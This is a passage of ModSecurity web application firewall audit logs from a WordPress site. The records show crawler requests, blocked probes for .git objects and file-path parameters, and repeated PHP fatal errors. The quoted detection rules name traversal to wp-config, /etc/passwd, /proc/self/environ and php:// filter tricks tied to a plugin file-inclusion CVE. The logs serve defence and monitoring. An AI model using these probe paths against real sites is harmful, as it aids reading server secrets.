\"(?:wp-config-sample\\\\\\\\\\\\\\\\.php|archlve\\\\\\\\\\\\\\\\.php|lndex\\\\\\\\\\\\\\\\.php|singIe\\\\\\\\\\\\\\\\.php|sldebar\\\\\\\\\\\\\\\\.php|connents\\\\\\\\\\\\\\\\.php|archlve\\\\\\\\\\\\\\\\.php|4O4\\\\\\\\\\\\\\\\.php|functlons\\\\\\\\\\\\\\\\.php)\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"1895\"] [id \"570105\"] [msg \"Malware.Expert - Wordpress - Plugins malwares\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abOgjWctLZHX5xWTcqfYnAAAAgo\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"(?:wp-config-sample\\\\.php|archlve\\\\.php|lndex\\\\.php|singIe\\\\.php|sldebar\\\\.php|connents\\\\.php|archlve\\\\.php|4O4\\\\.php|functlons\\\\.php)\" at REQUEST_URI."},"stopwatch":{"p1":201,"p2":3374,"p3":0,"p4":0,"p5":405,"sr":164,"sw":113,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:28:48.915683 +0100","transaction_id":"abOgkFmBVxWGJzaI8WA5DwAAAYc","remote_address":"57.141.20.48","remote_port":56126,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/92/be531aa72347370b26313f3f32006642e822fb HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.48","X-Forwarded-Proto":"https","X-Request-Id":"390777f8ef5768b151e41f8f120a508b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11206800"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"390777f8ef5768b151e41f8f120a508b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?view=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/92/be531aa72347370b26313f3f32006642e822fb||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":306,"p2":4751,"p3":0,"p4":0,"p5":366,"sr":125,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:30:52.552732 +0100","transaction_id":"abOhDFmBVxWGJzaI8WA5xwAAAZY","remote_address":"114.119.150.95","remote_port":45044,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/242871051 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.150.95","X-Forwarded-Proto":"http","X-Request-Id":"58f8588c431ab8b613fc53085cf14ca8","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1148750","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"58f8588c431ab8b613fc53085cf14ca8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":179,"p2":2902,"p3":0,"p4":0,"p5":294,"sr":91,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:30:59.582787 +0100","transaction_id":"abOhExLi46gS4DJVzjWURQAAAkM","remote_address":"57.141.20.27","remote_port":50898,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/01/8634bdc6df3921c48eb25d604c63b1a4703be2 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.27","X-Forwarded-Proto":"https","X-Request-Id":"8db3164361d6bcd73144b29c5abdc3f0","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11010545"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"8db3164361d6bcd73144b29c5abdc3f0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/01/8634bdc6df3921c48eb25d604c63b1a4703be2||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":212,"p2":3698,"p3":0,"p4":0,"p5":250,"sr":100,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:33:45.378605 +0100","transaction_id":"abOhuOzjYSjefEszC8x4DQAAAcg","remote_address":"114.119.137.105","remote_port":57388,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/268427451 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.137.105","X-Forwarded-Proto":"http","X-Request-Id":"b489e9ed98ddca21cd28f209d35a291a","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9568722","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"b489e9ed98ddca21cd28f209d35a291a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":323,"p2":4566,"p3":0,"p4":0,"p5":311,"sr":129,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:36:31.473419 +0100","transaction_id":"abOiX-zjYSjefEszC8x5ggAAAck","remote_address":"114.119.150.95","remote_port":56564,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/248809951 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.150.95","X-Forwarded-Proto":"http","X-Request-Id":"2ae768c8cdb9a71dfafb53e4fc262c6f","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5376383","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"2ae768c8cdb9a71dfafb53e4fc262c6f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":244,"p2":4122,"p3":0,"p4":0,"p5":2173,"sr":120,"sw":0,"l":0,"gc":1869},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:38:46.371255 +0100","transaction_id":"abOi5WctLZHX5xWTcqfbDgAAAhY","remote_address":"40.77.167.132","remote_port":42096,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /pcmypage?callback=/product%2Fdetail%2F83764620 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"40.77.167.132","X-Forwarded-Proto":"http","X-Request-Id":"95020d65e7b5f0e1d74a8f2412565ed8","X-L-Admin-Auth":"0","From":"bingbot(at)microsoft.com","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36","Accept":"*/*","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"296926","Accept-Encoding":"br,gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"95020d65e7b5f0e1d74a8f2412565ed8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":165,"p2":3026,"p3":0,"p4":0,"p5":276,"sr":91,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:42:33.591484 +0100","transaction_id":"abOjyVmBVxWGJzaI8WA9xAAAAZQ","remote_address":"114.119.140.84","remote_port":43988,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/2244451 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.140.84","X-Forwarded-Proto":"http","X-Request-Id":"5a82da7fcaa0eee6099a6c9fb46d6e4f","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11075879","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"5a82da7fcaa0eee6099a6c9fb46d6e4f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":165,"p2":2961,"p3":0,"p4":0,"p5":2244,"sr":92,"sw":0,"l":0,"gc":1788},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:45:30.529995 +0100","transaction_id":"abOkehQsu-n2gr4PXlWafgAAAQ8","remote_address":"114.119.154.203","remote_port":51052,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/79250651 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.154.203","X-Forwarded-Proto":"http","X-Request-Id":"cc374166a398dd2bc149013e4d3c6b63","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11796903","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"cc374166a398dd2bc149013e4d3c6b63","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":217,"p2":3121,"p3":0,"p4":0,"p5":313,"sr":97,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:46:24.418663 +0100","transaction_id":"abOksBLi46gS4DJVzjWa2wAAAlE","remote_address":"40.77.167.20","remote_port":47314,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /amazon.php?shopdetail/108008751 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"40.77.167.20","X-Forwarded-Proto":"http","X-Request-Id":"1d8d172b3bbd95df74888142b21455d0","X-L-Admin-Auth":"0","From":"bingbot(at)microsoft.com","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36","Accept":"*/*","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1084106","Accept-Encoding":"br,gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"1d8d172b3bbd95df74888142b21455d0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":289,"p2":5092,"p3":0,"p4":0,"p5":316,"sr":165,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:46:30.382181 +0100","transaction_id":"abOktuzjYSjefEszC8x9ygAAAcY","remote_address":"57.141.20.16","remote_port":57502,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/opt/php8.2/lib/php/build/ax_check_compile_flag.m4 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.16","X-Forwarded-Proto":"https","X-Request-Id":"b9911643d51e2175d50fe1b4e1d1c848","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"527343"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"b9911643d51e2175d50fe1b4e1d1c848","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.2/lib/php/build/ax_check_compile_flag.m4||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":203,"p2":3987,"p3":0,"p4":0,"p5":363,"sr":98,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:47:08.243450 +0100","transaction_id":"abOk2-zjYSjefEszC8x9-wAAAdY","remote_address":"57.141.20.42","remote_port":35100,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/themes/aviser/aviser.13.7.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.42","X-Forwarded-Proto":"https","X-Request-Id":"9647e0234226b7015b56c92c18bb47e6","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11272875"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"9647e0234226b7015b56c92c18bb47e6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/themes/aviser/aviser.13.7.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":203,"p2":4055,"p3":0,"p4":0,"p5":293,"sr":100,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:47:25.759356 +0100","transaction_id":"abOk7RQsu-n2gr4PXlWbRQAAAQw","remote_address":"57.141.20.45","remote_port":47466,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/locale/eu/LC_MESSAGES/iso_3166_2.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.45","X-Forwarded-Proto":"https","X-Request-Id":"38712bdb3017d799aafcc8329f7b858b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3540446"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"38712bdb3017d799aafcc8329f7b858b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/eu/LC_MESSAGES/iso_3166_2.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":264,"p2":5904,"p3":0,"p4":0,"p5":252,"sr":147,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:47:45.898169 +0100","transaction_id":"abOlARLi46gS4DJVzjWblgAAAlY","remote_address":"57.141.20.55","remote_port":33336,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/wp-optimize/wp-optimize.4.1.1.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.55","X-Forwarded-Proto":"https","X-Request-Id":"64ae37294bba7b2661b45e391a9c25f7","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7768032"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; 